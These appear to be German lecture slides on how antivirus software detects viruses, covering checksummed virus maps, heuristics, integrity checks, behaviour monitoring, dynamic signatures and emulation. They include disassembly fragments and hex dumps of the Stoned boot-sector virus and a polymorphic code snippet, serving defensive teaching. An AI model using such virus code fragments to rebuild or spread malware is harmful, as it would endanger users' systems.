Reduktion der Scan-Durchläufe:I nur befallbare Dateien durchmustern (ausführbare,
Dokumente)I Ergebnisse früherer Scans speichern, nur erneut scannen,
wenn Datei modifiziert wurde (Erkennung der Modifikation?Checksummen? Integritätssicherung der Datenbank)
82 / 95
Exakte Identifikation
Idee:I Alle konstanten Teile eines Virus ermitteln (Map).I Checksumme (z. B. CRC) über Map
Voraussetzungen:I Virus vollständig analysiert und verstandenI Variablen identifiziert,I Länge des Virus ermittelt
83 / 95
Beispiel: Stoned-Virus
1. Variablen:seg000 :7 c00 bodyzero :seg000 :7 c00 jmp f a r p t r 7c0h :5seg000 :7 c05 jmp s t a r tseg000 :7 c05 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−seg000 :7 c08 f l a g db 0 ; ; hard d isk or d i sk e t t e?seg000 :7 c09 i n t 1 3 o f f dw 251h ; DATA XREFseg000 :7 c0b in t13seg dw 0c800h ; DATA XREFseg000 :7 c0d jumps ta r t dw 0e4h ; o f f s e t to makeseg000 :7 c0d ; i n t e r segment jumpseg000 :7 c0f v i russeg dw 9f80h ; DATA XREFseg000 :7 c11 b o o t o f f dw 7c00h ; to bootseg000 :7 c13 botseg dw 0 ; segmentseg000 :7 c15 ; −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−seg000 :7 c15 push dsseg000 :7 c16 push ax
Anfang des Stoned-Virus, nach [Szor05]
84 / 95
Beispiel: Stoned-Virus
2. Länge des Virus:seg000 :7 cd3 mov cs , 1B8h ; 440 bytesseg000 :7 cd6 push csseg000 :7 cd7 pop dsseg000 :7 cd8 xor s i , s i ; copy code to memoryseg000 :7 cda mov di , s iseg000 :7 cdc c ldseg000 :7 cdd rep movsbseg000 :7 cdf jmp dword p t r cs :0 dh
Kopierroutine, nach [Szor05]
→ Map des Virus: 0x00–0x07, 0x0d–0x0e, 0x11-0x187
85 / 95
Identifikation von Varianten
Virus Name: Stoned.A Virus Map: 0x0-0x7 0xD-0xE 0x11-0x1B7Checksum: 0x3523D929
0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P0000:0190 43206973206E6F77 2053746F6E656421 C is now Stoned!0000:01A0 070D0A0A004C4547 414C495345204D41 .....LEGALISE MA0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........
Ausschnitt aus Stoned.A
Virus Name: Stoned.B Virus Map: 0x0-0x7 0xD-0xE 0x11-0x1B7Checksum: 0x3523C769
0000:0180 0333DBFEC1CD13EB C507596F75722050 ..........Your P0000:0190 43206973206E6F77 2073746F6E656421 C is now stoned!0000:01A0 070D0A0A004C4547 414C495A45004D41 .....LEGALIZE.MA0000:01B0 52494A55414E4121 0000000000000000 RIJUANA!........
Ausschnitt aus Stoned.B
86 / 95
Probleme mit polymorphen Viren
MOV AX, 65A1XCHG DX, AXMOV AX, DXMOV BP, AXADD EBP, 69BDAA5FMOV BX, BPXCHG BL, DHMOV BL, BYTE PTR DS:[43A5]XCHG BL, DHCMP BYTE PTR GS:[B975], DHSUB DH, BYTE PTR DS:[6003]MOV AH, DHINT 21
Problem: welchen Wert haben AH und BX bei Aufruf desInterrupts?→ nur durch Emulator zu ermitteln.
87 / 95
Nutzung von statischen Heuristiken
Grundidee:I Identifikation von Merkmalen, die Viren von anderer
Software unterscheiden,I Suche nach diesen Merkmalen in Dateien,I Addition und Wichtung gefundener Merkmale,I Entscheidung, ob Virus oder nicht.
Vorteil: neue, unbekannte Viren können damit (potentiell)gefunden werden, vollständige Analyse nicht nötigHauptproblem: zuviele false positivesNegative Heuristiken: Suche nach Code, der in Viren garantiertnicht vorkommt (z.B. Dialogboxen)Spektrale Analyse: Histogramm der in einem Programmbefindlichen Instruktionen
88 / 95
Virentypische Merkmale (Auswahl)
I Junk CodeI DekryptorenI Selbstmodifizierender CodeI virustypischer Code
Beispiel: Suche nach dem Marker des PE-Binärformatscmp ax, "MZ"
I Instruktionen, die der Compiler nicht generiertI Ausführung startet am Ende einer Datei (Sprung dahin)I Manipulation von Interruptvektoren (MS-DOS)I Nutzung undokumentierter FunktionenI Zeichenketten mit Obszönitäten ;-)
89 / 95
Integritätsprüfungen
Idee:I Viren modifizieren Dateien (Ausnahme?)→I Bildung einer Checksumme über jeder uninfizierten Datei,I Speicherung der Checksumme in Datenbank,I späterer Vergleich gespeicherter mit aktueller
Checksumme.Realisierungsmöglichkeiten:
1. externes Programm, periodischer Aufruf,2. Selbsttest in ausführbaren Dateien,3. impliziter Test durch OS beim Aufruf (Integrity Shell)
90 / 95
Integritätsprüfungen – Bewertung
I für bekannte und unbekannte Viren möglichI Detektion erst nach InfektionI unmöglich, in legal modifizierten oder neuen Dateien Viren
zu findenI Ursache der Infektion nicht ermittelbarI keine VirusidentifikationI Datenbank ist ein bevorzugtes Angriffsziel von Retroviren
91 / 95
Behavior Blockers/Monitors
Idee: Beobachtung der Aktivität von Prozessen undBlockierung/Meldung von „verdächtigen“ Aktivitäten
I erlaubt potentiell die Ausführung eines VirusI Verschlüsselung von Viren wirkungslosI nur relevante Operationen beobachten (Aufwand!), z.B.
I/O, SystemrufeI nachteilig: Payload wird u. U. ausgeführt
Beispiel einer verdächtigen Aktion:1. Öffnen einer Binärdatei zum Lesen und Schreiben2. Einlesen des Teils des File Headers, der Startadresse
enthält3. Schreiben des zuvor eingelesenen Teils4. Seek zum Ende der Datei und Append-Operation
92 / 95
Dynamische Signaturen
Idee: Ableitung von Signaturen aus der Sequenz relevanterSystemereignisse (z. B. Systemrufe) und Anwendung derstatischen Suchverfahren
open, open, read
open, read, write
read, write, read
write, read, write
read, write, close
write, close, close close, close
write, close
write, read
read, write
open, read
open, open
open
open
read
write
read
write
read
write
close
closedynamische Signaturen (k=2)dynamische Signaturen (k=3)
Syscall Trace
Abbildung: Beispiel (kurzer) dynamischer Signaturen
93 / 95
Emulation
Idee: Code Nutzung eines CPU-Simulators, um Viruscodeungefährdet ausführen zu können
I innerhalb der Anti-Viren-SoftwareI komplexer Code zu verstehen
94 / 95
Was haben wir gelernt?
Techniken der VirusdetektionI ScanningI Exakte IdentifikationI Statische HeuristikenI IntegritätsprüfungenI Emulation
Nur die Kombination aller Techniken ist erfolgversprechend.
95 / 95